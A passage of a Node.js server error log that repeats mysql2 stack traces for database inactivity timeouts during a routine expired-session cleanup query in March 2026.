  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 02:14:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 02:24:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 02:24:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 02:32:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 02:32:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 04:54:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 04:54:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 06:30:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 06:30:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 07:23:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 07:23:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 08:24:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 08:24:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 16:00:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 16:00:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 16:30:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 16:30:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 17:13:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 17:13:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 17:26:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 17:26:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 20:44:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 20:44:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 21:40:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 21:40:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 22:10:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 22:10:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 23:19:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 23:19:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-24 01:39:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-24 01:39:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-24 11:17:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-24 11:17:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-24 19:14:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-24 19:14:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-24 19:20:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-24 19:20:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-24 19:58:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-24 19:58:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-24 21:42:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
